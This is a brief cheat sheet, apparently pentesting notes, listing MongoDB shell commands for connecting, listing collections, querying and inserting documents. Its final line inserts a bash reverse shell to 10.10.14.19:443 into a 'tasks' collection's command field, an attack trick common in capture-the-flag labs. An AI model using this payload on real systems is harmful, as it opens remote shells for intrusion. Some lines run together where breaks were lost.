♦️mongo
Last updated
Last updated
mongo -u <uname> -p <pass> <host>:<port>/<DB name>
or
mongo -u vaibhav -p passxxxshow collections #show all the collections present in database
db.CollectionName.findOne() #Get Single object in the collection
db.CollectionName.find() #Get All object in the collectiondb.COLLECTION_NAME.insert(document) # create object in collection
db.COLLECTION_NAME.insert({"cmd": "touch /tmp/file.txt"}) #example
#reverse shell
db.tasks.insert({"cmd": "bash -c 'bash -i >& /dev/tcp/10.10.14.19/443 0>&1'"})